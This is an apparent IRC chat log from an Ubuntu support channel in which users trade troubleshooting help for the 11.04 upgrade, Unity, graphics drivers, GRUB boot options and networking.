[19:24] <wtf_o4> k wtf_o4
[19:24] <BlaDe^> I have a geforce 7000m and my graphics are all fuzzy --- what driver do i install?
[19:24] <aeon-ltd> lockal: just ask your actual question
[19:25] <pankaj> .
[19:25] <lockal> aeon-ltd, I am not sure, if https://addons.mozilla.org/ru/firefox/addon/unityfox/ works for 64-bit ubuntu
[19:25] <BlouBlou> Anyone knows why I can't see icons in Unity?
[19:25] <BlaDe^> lockal it doesn't make much sense that an addon is platform dependant
[19:25] <BlaDe^> i could be wrong, though
[19:25] <ttist25> Hey there.  Trying hard to get used to the 11 upgrade.  I can't seem to find the "connect to server" applet.  Any help?
[19:26] <natschil> hatchetjack: possibly. But those few steps may have been needed to be able to go forward faster later on.
[19:27] <lockal> BlaDe^, it uses js-ctypes, which can cause some api incompatibilities
[19:27] <n-iCe_> how can I know my strengh wireless signal network manager in 11.04 seems to now show it
[19:27] <BlaDe^> lockal ah okay
[19:28] <BlouBlou> n-iCe_: You can't with network-manager, it has been removed from there
[19:28] <adiabhal> hello, is there a way to disable gpg checks for apt-get?
[19:28] <n-iCe_> BlouBlou: yeah what a shit, what can I use now?
[19:28] <BlaDe^> I have a geforce 7000m and my graphics are all fuzzy --- what driver do i install?
[19:29] <Cajun_Lan_Man> Hello all.  Could someone tell me, if I'm running 10.10, and I have 11.04 on a CD, how do I kick off an upgrade from the CD?
[19:29] <BlouBlou> n-iCe_: I don't know, try another application to connect. Anyways I'll continue using network-manager, because I don't look at it, if it works fine, I don't need more info :P
[19:29] <DexterF> BlaDe^: define fuzzy
[19:29] <nemo> BlaDe^: platform dependent addons have a long history. usually they were windows only, requiring some enclosed DLL
[19:30] <notrev> i'm trying to activate DAAP plugin in Rhythmbox, but it fails. Message: Rhythmbox-WARNING **: /usr/lib/rhythmbox/plugins/daap/libdaap.so: undefined symbol: dacp_share_new . Does anyone know how to fix this?
[19:30] <marktuk> *SIGH* some developer https://launchpad.net/messagingmenu-extension
[19:30] <nemo> BlaDe^: wasn't uncommon for suckiness like, oh, my laptop's fingerprint scanner, to have a firefox addon that was basically a dll + a thin JS shell
[19:30] <marktuk> can't compile it
[19:30] <nemo> BlaDe^: sooo, on ubuntu side, fingerprint-gui had no integration w/ firefox master password. ah well.
[19:30] <marktuk> no guide, nothing
[19:30] <marktuk> no precompile extension either
[19:30] <marktuk> how are people meant to test the bloody thing?
[19:31] <mang0> Hey guys, I'm having trouble installing Ubuntu. This is my problem: http://www.pasteall.org/21230/text . Please PM (/query mang0) cos I will be afk. Thanks!
[19:31] <komodo169> Cajun_Lan_Man: o upgrade from Ubuntu 10.10 on a desktop system, press Alt+F2 and type in "update-manager -d" (without the quotes) into the command box. Update Manager should open up and tell you: New distribution release '11.04' is available. Click Upgrade and follow the on-screen instructions.
[19:31] <Masshuu> so i have ubuntu 10.10 on a VM, lukley i made a backup but after upgrading to 11.04 it stoped working :/
[19:32] <Cajun_Lan_Man> komodo169: but will that pull 11.04 from my CD? I'm trying to avoid the download.
[19:32] <mang0> ARGH.
[19:32] <ttist25> Cajun_Lan_Man - I would think hard about upgrading.  It's a LOT different
[19:33] <ttist25> I'm trying to give it a good chance but I'm not seeing the benefit of the new interfaces
[19:33] <Chipzzz> Cajun_Lan_Man: you could try disabling all your software sources (in synaptic) except for the cd
[19:34] <Cajun_Lan_Man> I know.  But if Ubuntu is going the way of Unity, I'm going to dive in head first.  </lemming>
[19:34] <ttist25> can anyone tell me where the "connect to server" thing went?
[19:34] <ttist25> I know I saw it somewhere and I can't figure out where
[19:35] <nemo> ttist25: still under Places in Gnome "classic" :)
[19:35] <komodo169> Chipzz:  want do it
[19:35] <nemo> which makes a much better use of my large monitor :-p
[19:35] <ttist25> Gnome Classic!?!?  That sounds promising!
[19:35] <ttist25> How do I get that?
[19:35] <komodo169> Cajun_Lan_Man: it would be better to back up files and fresh install
[19:35] <nemo> ttist25: select it on the login screen
[19:36] <trism> ttist25: it is also in File/Connect to Server when you click the Home Folder launcher (nautilus)
[19:36] <nemo> ttist25: there's a dropdown at the bottom
[19:36] <nit-wit> ttist25, login window bottom bar after confirming name before pass word session
[19:36] <ttist25> ah!
[19:36] <ttist25> Beautiful!  Thanks a bunch
[19:36] <Dr_Willis> It does seem confuseing how you ahve to enter a name first. for the menu to even show up.
[19:36] <komodo169> Cajun_Lan_Man: p.s. - love the lemming comment - that's the spirit!   ;-)
[19:37] <Dr_Willis> Now if they showed it but greyed out. that would make more sence.
[19:37] <Cajun_Lan_Man> komodo169: I may end up doing that.  Thing is I've got 10.10 running as part of a dual boot, and I'm trying to avoid drama there.
[19:37] <nemo> komodo169: I'm 50/50 lemming :)
[19:37] <nemo> komodo169: on my laptop I find it a bit more useful
[19:37] <nemo> but not on my 1920x1200 desktop
[19:37] <komodo169> lol@nemo
[19:37] <nit-wit> nemo, refreshing; transparency thanks.;)
[19:37] <ttist25> I'll keep giving it a shot but, it's great to know I can do classic if I need to be productive.
[19:38] <ttist25> thanks again
[19:38] <Dr_Willis> ttist25:  of course the classic is to be removed in the next releae in 6 mo. :)
[19:38] <komodo169> Cajun_Lan_Man: I didn't like the 11.04 deal.  the unity desktop did not work for me
[19:38] <ttist25> hahahaha
[19:38] <komodo169> Cajun_Lan_Man:  have you tried the live cd?  do you like it?
[19:38] <nemo> komodo169: https://bugs.launchpad.net/ubuntu/+source/unity/+bug/648180/comments/25 - me being "eh"
[19:38] <ubottu> Ubuntu bug 648180 in unity (Ubuntu) "Unity is not an adequate replacement for Gnome2 (and sucks a little bit less then it used to)" [Undecided,Opinion]
[19:39] <komodo169> @nemo:  right-o
[19:39] <ttist25> peace
[19:39] <Dr_Willis> They said the same thing about KDE when they switched from 3 to 4..  the latest kde4 is quite good however. :)  thats how things are.
[19:39] <Dr_Willis> Im sure unity will get major improvements over the next few months
[19:39] <nemo> Sooo. yeah. why has ubuntu decided in unity that it needs to mount all my cifs windows shares from my fstab?
[19:39] <komodo169> Dr_Willis: Im using 11.04 KDE - love it
[19:39] <Cajun_Lan_Man> komodo169: I've got 11.04 running on 2 other machines. It's very different, but I'm still trying to decide if I feel love/hate/indifferent about it.
[19:39] <nemo> result is mount-all hanging endlessly and prompting for passwords I haven o desire to enter
[19:40] <nemo> (at least until I started swapping fstab after boot)
[19:40] <nemo> s/mount-all/mountall/
[19:40] <Dr_Willis> komodo169:  ive been leaning towards lubuntu more and more :) Just works how 'i' work
[19:40] <ubuntu> italia
[19:40] <Dr_Willis> bbl
[19:40] <nemo> er. not in unity, in natty. sorry.
[19:40] <ubuntu> milano italia
[19:41] <toggles> malle
[19:41] <Cajun_Lan_Man> I'm all for whatever will give Ubuntu a broader user base.  Then more commercial apps will show up on it.  I can't ditch windows at home because I'm a gamer.  I can't ditch windows at work because of outlook and Active Directory.
[19:41] <nemo> Cajun_Lan_Man: ehm. lots of FOSS games out there, and the ones I care about work in Wine
[19:41] <miceiken> so
[19:42] <nemo> Cajun_Lan_Man: my preferred FOSS games are Wesnoth (TBS), Spring (RTS) and Hedgewars (TBS/Ballistic)
[19:42] <Cajun_Lan_Man> nemo: I wish I could say the same about Wine.
[19:42] <ZekeS> lol
[19:42] <zniavre> good evening
[19:42] <submain> anyone knows how to make unity panel go to the other monitor?
[19:42] <komodo169> Cajun_Lan_Man: Back to the original issue: probably back up / install 11.04 if you want.  Just the way I would do it.  or keep 10.10 til yer absolutely sure
[19:42] <nemo> Cajun_Lan_Man: games I've tried in wine lately are portal, some korean MMORPG my lil' bro plays, and spore (ick)
[19:42] <miceiken> apparently, plymouth is causing my monitor to go black, I tried the commands fro !plymouth and they just said there were no alternatives for default.plymouth
[19:42] <nemo> Cajun_Lan_Man: all convinced me I'm happier w/ FOSS games :)
[19:42] <Cajun_Lan_Man> nemo: my current games are Starcraft 2, Portal 2, and Rift.
[19:42] <zniavre> there is a priject about zeitgeist and nautilus integration?
[19:42] <zniavre> project*
[19:43] <mbeierl> Cajun_Lan_Man: actually, you can ditch outlook and AD.  there's evolution, or thunderbird with davmail, and for ad, look at http://www.likewise.com/products/likewise_open/
[19:43] <nemo> Cajun_Lan_Man: portal 2 is fine in wine. Spring is better than starcraft, but starcraft works in wine too
[19:43] <nemo> Cajun_Lan_Man: no clue about rift
[19:43] <komodo169> Cajun_Lan_Man: excellent choice on games.  nice.....
[19:43] <arvut> nemo: sc2?
[19:44] <miceiken> http://pastebin.com/BHY4BwvB -- can anyone tell if this is wrong? When I use this it doesn't appear on the network, maybe the router still has lease time for the old ip
[19:44] <Cajun_Lan_Man> mbeierl: the problem is that I have to be able to manage AD
[19:44] <fizk_> hey guys, how do I make lsof show the port number instead of the service name?
[19:44] <fizk_> `lsof -i`
[19:44] <arvut> doesn't portal 2 make us of dx10 or dx11 then?
[19:44] <mbeierl> Cajun_Lan_Man: you cannot manage it from the AD server itself ... via remote desktop?
[19:45] <nemo> arvut: http://appdb.winehq.org/objectManager.php?sClass=version&iId=20882
[19:45] <kaffe_02> Is there a way to chose which desktop the unity launcher appears on?
[19:45] <Cajun_Lan_Man> mbeierl: That would be my only option.  Our main company apps already run in citrix, which works great in Ubuntu.
[19:45] <komodo169> miceiken: it appears ok.  can you connect to the internet?  what exactly is the issue?
[19:45] <nemo> Cajun_Lan_Man: for doing windows tasks at work, I just use VirtualBox
[19:46] <miceiken> komodo169: I can't tell, because obviously I can't ssh in, and Plymouth makes my monitor go black when booting (which is my other question, how to disable)
[19:46] <llutz> fizk_: -P
[19:46] <nemo> Cajun_Lan_Man: I have windows and OSX hooked up over synergy2, as well, but I often use virtualbox due to more flexibility in machine configurations
[19:46] <oliver_> I just installed ubuntu 11.04 on my new ideapad u160 i5 with internal intel hd grafik card. Unfortunately, when I switch the screen settings with the screen dialog, my display goes black and never recovers :( And ideas?
[19:46] <fizk_> llutz, ty
[19:46] <koperino> Maverick keeps saying "no new release found" When I want to upgrade anybody has an answer?
[19:46] <yehudah> how do i start acpi once in unity
[19:46] <nemo> oliver_: try gnome classic with no effects? :)
[19:46] <oliver_> Oh Yes: I googeld for 4 hour now :(
[19:46] <nemo> oliver_: also. there was a recent fix disabling some intel thing
[19:46] <nemo> check for updates
[19:46] <myf> and is it just me or other folks also experienced weird color scheme on the new firefox?
[19:46] <oliver_> nemo: here i have the same problem
[19:47] <nemo> oliver_: er. you have same problem in classic with no effects? (using metacity)
[19:47] <Cajun_Lan_Man> mbeierl: The other thing stopping me at work, I can't quite figure out.  Ubuntu seems to absolutely KILL our Sonicwall any time I try to do something that maxes out our internet connection.  Then, the Sonicwall somehow shuts down my internet speed to dialup levels. I've googled the mess out of the issues, but with no luck.
[19:47] <nemo> myf: if you mean the UI, you perhaps mean the integration with your desktop theme colours...
[19:47] <oliver_> i dont know what metacity is, but i switched the startup screen to classic with no effects
[19:48] <nemo> myf: you can disable that, or install a firefox theme, or tweak it w/ a personna, whatever.
[19:48] <mbeierl> Cajun_Lan_Man: define "maxes out internet" ... like a bit torrent?
[19:48] <nemo> oliver_: there was an intel driver update recently. refresh update manager
[19:48] <miceiken> komodo169: any idea?
[19:49] <nemo> myf: one other weak possibility is if you are experiencing actual glitches, could be due to a bug in your vid card + gfx accel - might want to turn that off if it is enabled
[19:49] <Cajun_Lan_Man> mbeierl: Sort of.  All of our pings will go to hell while it's happening.  But, as I said, after about 10 seconds of doing this, suddenly my download speed on ubuntu will drop to almost nothing, and my networks goes back to normal.  I can reproduce this on any hardware, as long as it's running Ubuntu.
[19:49] <koperino> no new releases found when I want to upgrade, first upgrade to Natty was broken down by bad internet connexion help
[19:49] <myf> nemo im using awesome wm. supposely the ubuntu theme does not affect this
[19:49] <nemo> myf: about:config  layers.acceleration.disabled - try setting it to true
[19:49] <edbian> miceiken: You still there?
[19:49] <Might> my upgrade to 11.04 was a complete failure
[19:49] <miceiken> edbian: yes
[19:49] <myf> nemo: lemme take a look
[19:50] <mbeierl> Cajun_Lan_Man: but what are you doing on the ubuntu machine to trigger it?  Simply running ubuntu by itself won't cause that behaviour...
[19:50] <Cajun_Lan_Man> mbeierl: what I mean by max out, is anything that can fill our pipe, like a MS service pack download, or something like that.
[19:50] <oliver_> Wow. There is an update already. I will try it ....
[19:50] <Might> my nvidia drivers didn't exist anymore, and I'm an average linux user, I don't know how to install a driver from commandline
[19:50] <oliver_> THX
[19:50] <Might> so I ended up completely purging the linux partition on my drive using fire.
[19:50] <Cajun_Lan_Man> mbeierl: all i'm doing on the ubuntu machine to trigger it is downloading something from the internet.
[19:50] <Cajun_Lan_Man> hell, even a youtube video will do it
[19:50] <edbian> miceiken: I don't see anything wrong with your /etc/network/interfaces.   What problem are you experiencing?
[19:51] <Cajun_Lan_Man> mbeierl: webpages download just fine.  Only larger, single file downloads.
[19:51] <miceiken> edbian: as i said to komodo169, I can't tell, because the plymouth splash screen makes my monitor go black(inactive), so I can't find out what's wrong
[19:51] <Might> I think this whole aversion by ubuntu to using the nvidia proprietary drivers is a big overzealous
[19:51] <Might> bit*
[19:51] <edbian> miceiken: nvidia card?
[19:51] <Cajun_Lan_Man> mbeierl: ubuntu software updates will usually do it too
[19:51] <mbeierl> Cajun_Lan_Man: http download... hm.  that is extremely odd.  who administers the sonic wall and the network?  Are there policies set that the windows machines honour but your ubuntu machines don't (like dhcp hostname registration or something)?
[19:51] <miceiken> edbian, think so yes, anyway to check? :D
[19:52] <Might> how does one install an nvidia driver from commandline
[19:52] <edbian> miceiken: So the screen goes black during boot and never comes back or?
[19:52] <komodo169> miceiken: have you removed "splash" from the kernel command line?
[19:52] <Cajun_Lan_Man> mbeierl: the network and sonicwall admin would be me.
[19:52] <Might> one who has barely -any- linux experience, is that really what people are forced to do when upgrading distros?
[19:52] <miceiken> edbian: correct, after the GRUB boot screen it goes black
[19:52] <edbian> miceiken: removing splash is a good idea.  So is booting nomodeset
[19:52] <myf> meno: tweaked layer.accleration, no changes
[19:52] <edbian> miceiken: Do you know how to change kernel options?
[19:52] <myf> nemo: tweaked layer.accleration, no changes
[19:52] <miceiken> No idea :)
[19:52] <Cajun_Lan_Man> mbeierl: I've looked in every nook and cranny of that sonicwall, and I can't find anything that might do what it does.
[19:52] <komodo169> miceiken: you can remoive it permanently or per session
[19:52] <lcb> koperino, reboot, press shift before grub2 loads, select 2nd choice from top (recovery) - let it go for a bit, on the menu select root and type in the command ' sudo dpkg --configure -a ' to see if you get yur upgrading back
[19:53] <miceiken> permanently
[19:53] <edbian> miceiken: This explains in detail with screenshots :)  http://ubuntuforums.org/showthread.php?t=1613132
[19:53] <bencc> how can I find out who is using file descriptors on my server?
[19:53] <koperino> thanx
[19:53] <Might> I can't remember a -single- major version upgrade that hasn't fallen on it's face completely and left my computer unusable. forcing me to reinstall using a new ISO of the new version
[19:53] <bencc> I've reached 1024 which seem to be the limit
[19:53] <mayenife> anyone use Zune w Banshee media player
[19:53] <Cajun_Lan_Man> mbeierl: even bypassing the sonicwall with a content filter bypass doesn't help.
[19:53] <edbian> miceiken: Make sure you follow the directions for an installed OS (not wubi)
[19:53] <bindi> miceiken: o/ :D
[19:53] <Cajun_Lan_Man> mbeierl: somehow it just doesn't like something Ubuntu does.
[19:53] <kothz> Am I to believe Google when it says that the Dash icons can't be made smaller?
[19:54] <mbeierl> Cajun_Lan_Man: you /could/ set a traffic shaping policy on the ubuntu box that restricts downloads to 80% of the known bandwidth... look up wondershaper... http://lartc.org/wondershaper/
[19:54] <miceiken> it has to be done in GRUB loader?
[19:54] <miceiken> hi bindi
[19:54] <rsleventhal_> hi folks
[19:54] <mayenife> is Zune hd Compatible w 11.04, specifically banshee media player?
[19:55] <BlaDe^> I have a geforce 7000m and my graphics are all fuzzy --- what driver do i install?
[19:55] <Paytam> Ive a question about software developing. We are a group of 10 programmers who work on a open source project. The problem is we need to talk about it over internet because we are on different geographical places. Do you know any site  to do it?
[19:55] <edbian> miceiken: Yes.  But you have to press shift to even see the grub bootloader menu.  By default it is hidden in Ubuntu.
[19:55] <rsleventhal_> I've just upgraded a few servers from Maverick to Natty without any issues.  Did a fresh install of Natty Desktop...much to my surprise, there's no /var/log/messages file.  Is this to be expected?
[19:55] <Cajun_Lan_Man> mbeierl: I'm glad you brought that up.  I've got wondershaper on the machine, but either I'm doing something wrong, or I just can't speed up what wondershaper is letting me do.  The command I'm using is "sudo wondershaper eth4 9999 9999".  Supposedly that will give me approx 10 megabit up/down.  But i'm only averaging 16kB/s
[19:56] <ketema> hello...when i turn an interface down with ifconfig wlan0 down it does not STAY down, auto starts back up within a few minutes.  how do i prevent it from auto starting, thanks ?
[19:56] <yehudah_> how do i start acpi once in unity
[19:56] <howkj1> I have external usb hard drives and am trying to format them after a failed attempt at software raid 1.... now gparted is complaining that the device /dev/sde1 is in use and I can't format it
[19:57] <IdleOne> howkj1: unmount it
[19:57] <miceiken> edbian: Save the file and exit gedit. If you have to add kernel options that contain quotation marks, add them as such:
[19:57] <miceiken> what do they mean with kernel options
[19:57] <howkj1> it isn't mounted
[19:57] <oliver_> hi nemo still does not work. :(
[19:58] <edbian> miceiken: quiet  is a kernel option
[19:58] <IdleOne> howkj1: gparted thinks it still is. try restarting gparted maybe?
[19:58] <mbeierl> Cajun_Lan_Man: and without wondershaper, do you get more than 16kB?
[19:58] <miceiken> edbian: but this: acpi_osi=\"Linux\"
[19:58] <edbian> miceiken: splash is a kernel option,    acpi_osi="linux"   is a kernel option.  To do that one you need to \" the quotes.  That's all they're saying.
[19:58] <vorlov> can anyone help me with ubuntu AWS images?
[19:58] <howkj1> root@Stealth1:/home/howkj1# pvs
[19:58] <howkj1>   Couldn't find device with uuid 'IgWiAe-ksXG-YKEd-lnGV-m0Fz-8U5M-0UauYZ'.
[19:58] <miceiken> is that needed?
[19:58] <howkj1>   PV             VG     Fmt  Attr PSize   PFree
[19:58] <howkj1>   /dev/md_d0     datavg lvm2 a-   931.51g 931.51g
[19:58] <howkj1>   unknown device datavg lvm2 a-   931.51g 931.51g
[19:58] <FloodBot1> howkj1: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[19:58] <blenderbottle> why wont xchat connect to the irc.twit.tv server
[19:58] <Chipzzz> ketma: can you stop the network manager?
[19:58] <edbian> miceiken: You're adding nomodeset which does not contain quotes so the point is moot.
[19:58] <vorlov> seems to never recover from a shutdown
[19:59] <miceiken> oh
[19:59] <miceiken> doh
[19:59] <oliver_> Looks like the intel hd chip is not working correctly :(
[19:59] <Cajun_Lan_Man> mbeierl: I do for about 10 seconds, then the sonicwall shuts me down to nothing.
[19:59] <kothz> Q: ubuntu 11.04 smaller dash icons ... possible?
[19:59] <miceiken> thanks :)
[19:59] <ketema> Chipzzz: i am in ssh not a gui, what is the service or command I need to stop it ?
[19:59] <IdleOne> blenderbottle: connects fine here
[19:59] <edbian> miceiken: makes sense?
[19:59] <blenderbottle>  IdleOne ...what could i be doing wrong
[19:59] <blenderbottle> i can connect in irssi
[19:59] <oliver_> Any ideas, why the screen stays black after switching monitors on my intel hd chip based notebook
[19:59] <Chipzzz> ketma: try sudo /etc/init.d/network-manager stop
[20:00] <IdleOne> blenderbottle: not sure all I did was /server irc.twit.tv and it connected
[20:00] <KevinLaptop> Okay, this is ridiculous! I upgraded not so long ago, and my monitor just started saying last night "Input Range Out of Range" "Change setting to 1600x900 - 60Hz" but like, if I put it on that then it says that error, if its lower then it works, but its all blury and looks like crap
[20:00] <blenderbottle> wtf....
[20:00] <thauriswulfa> I heard something about lenses on unity , can somebody give me some idea like how to get some youtube lens?
[20:00] <bencc> "cat /proc/sys/fs/file-nr" gives me "1024 0 38001" The file descriptors are used mainly by root and www-data so why do I hit the 1024 limit?
[20:00] <rsleventhal_> Has anyone encountered, with a fresh install of Natty (desktop - classic), that there is no /var/log/messages file?
[20:00] <miceiken> edbian: gonna try now, thanks :)
[20:00] <ketema> Chipzzz: that works and i got a nice message about it being converted to an Upstart job
[20:00] <edbian> miceiken: sure.
[20:00] <Chipzzz> :)
[20:01] <Dark_Star1> hello.. I'm having a problem starting Samba and I need help getting to the root of it.. the output of smbstatus  is: No Locked Files whilst looking at the samba.log.smbd file shows me: [2011/05/03 19:49:22.033587,  0] smbd/server.c:1255(main)  ERROR: failed to setup guest info.
[20:01] <howkj1> can anyone direct me to a channel for lvm removal / hard drive formatting issues? -thanks... using Ubuntu 10.04
[20:01] <xangua> thauriswulfa: omg!ubuntu! blog has a lot of tips about unity
[20:01] <ketema> Chipzzz: so i'll use stop next time...i am now back to trouble shooting my upgrade.  reason i am in ssh session is because i got no desktop after upgrade
[20:01] <KevinLaptop> Input signal out of range*
[20:01] <ketema> Chipzzz: just my old wallpaper
[20:01] <miceiken> edbian: seems like it's stuck on a screen with the "cursor" just blinking
[20:01] <bhaduza1> does wine run under unity menu on ubuntu 10.10?
[20:01] <thauriswulfa> xangua: I read that blog daily, but not able to find out about lenses?
[20:02] <miceiken> An Ubuntu 11.04 splash screen showed up for less than a second tho
[20:02] <edbian> miceiken: mhmm.  How did you change things?  By pressing shift and such?
[20:02] <xangua> thauriswulfa: it has a search button ;)
[20:02] <Chipzzz> ketma: I have heard so many complaints about the upgrade that I haven't ventured to try it yet... sorry I can't be of much more help
[20:02] <lcb> bhaduza1, yes, everything. just drag it
[20:03] <ketema> Chipzzz: lol no problem its not a critical machine just my Kids desktop
[20:03] <miceiken> edbian: no, permanent solution by editing /etc/default/grub
[20:03] <KevinLaptop> Anyone have any suggestions?
[20:03] <edbian> miceiken: Can you pastebin /etc/default/grub for me or is this machine not online.  How did you edit those files in the first place if your screen is black after the grub menu?
[20:03] <ketema> Chipzzz: although it is annoying that it basically bombed  i have two distinct problems.. the network was excruciatingly slow on wireless nic and no desktop
[20:04] <ketema> Chipzzz: been googling all day trying to fix it
[20:04] <Defusal_> anyone know why ubuntu servers dns would just suddenly break, when the dns servers are still functional?
[20:04] <lcb> Chipzzz, not really the upgrade but unity.  upgrade should let your system running fine.
[20:04] <Might> SCREW Ubuntu major revision upgrading, it -ALWAYS- breaks my system, I'm now so frustrated I am discontinuing use of linux based distributions entirely, GOOD DAY
[20:04] <syrinx_> ^ lol
[20:04] <edbian> bye
[20:04] <Defusal_> hahah
[20:04] <miceiken> edbian: I booted into recovery mode, with root acess. The only thing I did was adding nomodeset to GRUB_CMDLINE_LINUX_DEFAULT.
[20:05] <miceiken> edbian: I did change the network interface also tho
[20:05] <lcb> Chipzzz,there are some steps to take tough, like updating what you have first and checking for errors
[20:05] <edbian> miceiken: You've done all of these changes through recovery mode??
[20:05] <miceiken> edbian: yes, is that wrong? :D
[20:05] <cr4x0r> is there a fix for using an external monitor in 11.04 with nvidia?
[20:05] <Defusal_> can anyone tell me how i can "restart" any DNS related services?
[20:06] <edbian> miceiken: No that's fine.  I just want to get a clear picture.  So what options are in your GRUB_CMDLINE_LINUX_DEFAULT
[20:06] <edbian> ??
[20:06] <tapoxi> Hi guys, will gnome-shell make it into Ubuntu?
[20:06] <miceiken> hold on then I need to reboot into recovery mode again
[20:06] <edbian> miceiken: sure
[20:06] <yehudah_> can one start acpi from within unity
[20:06] <edbian> miceiken: Do you not remember?
[20:06] <Defusal_> tapoxi: gnome 3 is already out ;)
[20:07] <miceiken> edbian: not all of them :D
[20:07] <lcb> cr4x0r, yes, run classic desktop and install Avant Window Navigator. You'll have almost the same or better plus your graphics running fine.
[20:07] <Anton_new> hello everyone
[20:07] <edbian> miceiken: ok
[20:07] <syrinx_> Anton_new: hi
[20:07] <Anton_new> i need to install my Lexmark z13 printer
[20:07] <edbian> miceiken: Is this machine online in anyway?  (are you talking to me on a second machine?)
[20:07] <cr4x0r> lcb: thanks
[20:07] <Anton_new> please help
[20:07] <howkj1> Defusal_ : try : sudo /etc/init.d/networking restart
[20:07] <tapoxi> Defusal_: Ahh, I haven't upgraded to 11.04. So if I want to go to gnome 3 instead of unity, I can just install gnome-shell?
[20:07] <lcb> cr4x0r, try then running the graphics/monitor configuration from your driver utility.
[20:07] <Defusal_> howkj1, wont that kill my ssh?
[20:08] <howkj1> Defusal_ good point
[20:08] <Defusal_> :(
[20:08] <cr4x0r> lcb: i tried the monitor config in the default desktop (unity i guess?)
[20:08] <Defusal_> im wondering how people mostly deal with their servers dns suddenly dying...
[20:08] <miceiken> edbian: talking you on a second machine, yes. Seems like networking is disabled in the root recovery mode. Anyway, the options are "splash quiet nomodeset"
[20:08] <Defusal_> tapoxi: im not sure, but i dont think the gnome3 package will be called gnome-shell now that its stable
[20:09] <lcb> cr4x0r, to tell you the truth, i don't recommend no one to run unity when problems with graphics and much less with duals or triples whatever number monitors. classic is better.
[20:09] <edbian> miceiken: Try booting with no options at all.  This way we won't have a splash screen that is potentially crashing, and it won't be quite so we should see any errors that crop up.
[20:09] <edbian> miceiken: I've lost confidence in nomodeset since it didn't fix the problem immediately.
[20:09] <edbian> miceiken: To be clear.  This is Ubuntu 11.04 desktop?
[20:09] <cr4x0r> lcb: i dont use dual i really only use the one monitor, but its on a laptop
[20:10] <miceiken> edbian: 11.04 server
[20:10] <edbian> miceiken: ok
[20:10] <lcb> cr4x0r, it's the freaking natty + some drivers not updated + xorg stopping supporting some adapters that makes all problems.
[20:10] <BlaDe^> is there a fix for slow wifi on natty?
[20:10] <miceiken> still just the cursor, and a second of ubuntu splash screen oO
[20:10] <tapoxi> thanks Defusal_ !
[20:11] <cr4x0r> lcb: classic it is (= thanks again for your help
[20:11] <howkj1> Defusal_ : you could append... are you using sshd?
[20:11] <miceiken> edbian: still just the cursor, and a second of ubuntu splash screen oO - is this related to the network changes i did?
[20:11] <m4dv0y> hi guys!
[20:11] <BlouBlou> Anyone knows why I can't see icons in Unity? I can click on them, but I don't see any of them
[20:11] <lcb> cr4x0r, interestingly, awm (avant window manager) does a better job than unity, plus you do whatever you want with the desktop.
[20:11] <Defusal_> howkj1, yeah i am... append?
[20:12] <BlaDe^> nemo ah I see... Sucks
[20:12] <cr4x0r> lcb: ill give it  a shot
[20:12] <m4dv0y> i need some help. I've some dependencies. I tried to resolve the problems with apt-get -f install and synaptic's fix broken dependencies but nothing happened.
[20:12] <edbian> miceiken: I don't believe so.  Are you sure you're changing the options correctly?  It sounds as if they're having no effect which leads me to believe they're not being changed.  Have you been running sudo update-grub   ??
[20:12] <howkj1> Defusal_ : so you could restart your network with the previous line and then use pipe " | " .......
[20:12] <miceiken> edbian: oh doh forgot to do it this time
[20:12] <m4dv0y> update-manager said Can not upgrade An upgrade from '' to 'maverick' is not supported with this tool.
[20:13] <edbian> miceiken: That probably is why nothing changed.  (You're of course saving the /etc/default/grub file as well right?) :P
[20:13] <lcb> cr4x0r, it's a must. i stopped *supporting* unity environment. time enough for devs to fix the issues.
[20:13] <miceiken> edbian: yes I saved the file
[20:13] <edbian> miceiken: k
[20:13] <NFischer> HI all .. ive a Problem: i cant change Resolution to 1950x1080.. ive an ATI Radeon X1950XT Graphics Card.. Ubuntu Lucid (which im using) does not offer any prop. Drivers.. any suggestions?
[20:13] <Defusal_> ah, well yeah i guess, but i kinda need to find out why it would stop working, i cant restart the servers networking whenever the dns dies for no apparent reason...
[20:13] <Defusal_> @ howkj1
[20:13] <Chipzzz> m4dv0y: did you try sudo apt-get --check ?
[20:13] <m4dv0y> please help i dont wanna reinstall
[20:13] <howkj1> Defusal_ sudo /etc/init.d/networking restart | /etc/init.d/sshd restart
[20:14] <m4dv0y> Chipzzz:  --check E: Command line option --check is not understood
[20:14] <thauriswulfa> xangua: But still I am not able to find the YOutube lens
[20:14] <jbwiv_> guys, after upgrading to narwhal, nothing is being written to /var/log/messages. Is this expected or is something going on?
[20:14] <howkj1> pipe should run both commands at the same time
[20:14] <miceiken> edbian: now it booted fine
[20:14] <Chipzzz> m4dv0y sorry it's just sudo apt-get check
[20:14] <miceiken> I am able to log in
[20:14] <vanguard> how can I manage via the console?
[20:14] <edbian> m4dv0y: System -> Admin -> software sources -> change the drop down menu from LTS releases to normal releases
[20:14] <howkj1> you might test it first
[20:14] <edbian> miceiken: Oh I'm good...
[20:14] <lcb> jbwiv_, something else is cooking there. what i have no clue
[20:14] <thauriswulfa> Where to get youtube lens for unity?
[20:15] <edbian> miceiken: So now, our network connection.  Is that owrking?
[20:15] <howkj1> Defusal_ if you are running a critical connection
[20:15] <dagon> How can you enable advanced features in the new Ubuntu release so I can have the wobbely windows etc The option is not there when you right click on the desktop
[20:15] <jbwiv_> lcb: ok, thanks
[20:15] <lcb> jbwiv_, try sudo apt-get check && sudo apt-get -f install
[20:16] <miceiken> edbian: nope, it isnt
[20:16] <trism> jbwiv_: in natty, /etc/rsyslog.d/50-default has /var/log/messages commented out, you could add it back if you wanted it (then restart rsyslog)
[20:16] <edbian> miceiken: sudo ifconfig -a    shows what?
[20:16] <bencc> how do I check the global max allowed file descriptors?
[20:16] <miceiken> edbian: eth0, eth1 and lo :D
[20:16] <thauriswulfa> Where to get askubuntu, youtube lens for unity?
[20:16] <edbian> miceiken: Do they have IP addresses?
[20:16] <mbroeker> bencc, ulimit -a
[20:17] <howkj1> dagon : sudo apt-get install compizconfig-settings-manager
[20:17] <Linuxboy133> hi all I have a question
[20:17] <edbian> miceiken: Run just 'sudo ifconfig'  it will show you only interfaces that are up
[20:17] <miceiken> edbian: doesn't say any ip adresses so I guess not. I tried to ping this computer and it said "Network is unreachable"
[20:17] <bencc> mbroeker: isn't it per user?
[20:17] <pankaj> Linuxboy133, ask
[20:17] <Linuxboy133> I want to use my apple ear buds mic for sype but it doesnt work > How or can they work with Ubuntu 10.10?
[20:17] <NFischer> HI all .. ive a Problem: i cant change Resolution to 1950x1080.. ive an ATI Radeon X1950XT Graphics Card.. Ubuntu Lucid (which im using) does not offer any prop. Drivers.. any suggestions?
[20:17] <Linuxboy133> skype
[20:17] <edbian> miceiken: sudo service networking restart
[20:17] <howkj1> dagon : or you could right click desktop and select change desktop background : visual effects : extra
